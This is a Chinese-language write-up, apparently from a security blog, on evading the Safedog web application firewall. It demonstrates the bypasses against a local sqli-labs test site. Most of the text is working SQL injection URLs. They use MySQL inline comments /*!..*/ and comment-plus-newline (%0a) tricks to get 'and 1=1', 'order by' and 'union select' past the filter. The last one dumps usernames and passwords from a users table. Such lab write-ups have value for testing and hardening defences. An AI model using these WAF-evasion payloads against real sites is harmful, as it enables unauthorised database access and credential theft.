bypass最新版安全狗

AKA

环境

系统:win7x64+phpstudy+安全狗apache版 v4.0
站点:sqli-labs

bypass

Mysql 注释符:# , -- , /*...*/
Mysql 空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0

绕过 and 1=1

首先判断是否有注入点:
正常情况:http://192.11.22.55/sqli/Less-1/?id=1' and 1=1 %23 (安全狗拦截)
and 1=1拆分:
http://192.11.22.55/sqli/Less-1/?id=1' and %23 (安全狗不拦截)
所以要把and1=1当成两部分,在它们之间进行干扰。经过一番测试用/*!..*/就能绕过
payload:/*!..*/(在星号后加惊叹号,那么此解释里的语句将被执行)
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (安全狗不拦截)

绕过 order by

正常情况:http://192.11.22.55/sqli/Less-1/?id=1' order by 1,2,3 %23 (安全狗拦截)
http://192.11.22.55/sqli/Less-1/?id=1' order by %23 (安全狗不拦截)
所以把order by1,2,3,x当成两部分,继续干扰。用刚刚的思路/*!..*/绕过
http://192.11.22.55/sqli/Less-1/?id=1' order by /*!1,2,3*/ %23(安全狗不拦截)

绕过 union select

测试:http://192.11.22.55/sqli/Less-1/?id=-1' UNION SELECT %23 (安全狗拦截)
尝试之前的思路union /*!select*/1,2,3(安全狗拦截)
多次测试之后发现,需要在unionselect之间进行干扰,当时这里绕了很久,没绕过去,但总感觉能弄出来。好吧,弄久了没啥灵感就去网上搜搜思路。看到了篇今年5月份的帖子

payload:e66union(/*(x/*–*\/)*/select1,2),结果被杀了

上个厕所冷静下,想想到底还漏了哪些字符没有利用到,好吧其实我在刷抖音,刷到了条你的城市那么空,回忆那么凶,嘿咯嘿咯,瞬间充满灵感,是空,空白字符没用到啊!!
%0a去url解码发现有换行的功能,比如select *from admin where id=-1 union %0aselect 1,2,3

可以正常的查询

于是get到点了,最终payload:union /*|--|*/--+%0aselect 1,2,3
http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,2,3%23(安全狗不拦截)

绕过 union select 1,2,3 from users

利用刚刚绕过union select的payload,即可绕过,总的来说哪里拦截就干扰哪里。
payload:union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2
http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2%23(安全狗不拦截)

OK,关于绕狗肯定还有很多姿势,慢慢积累。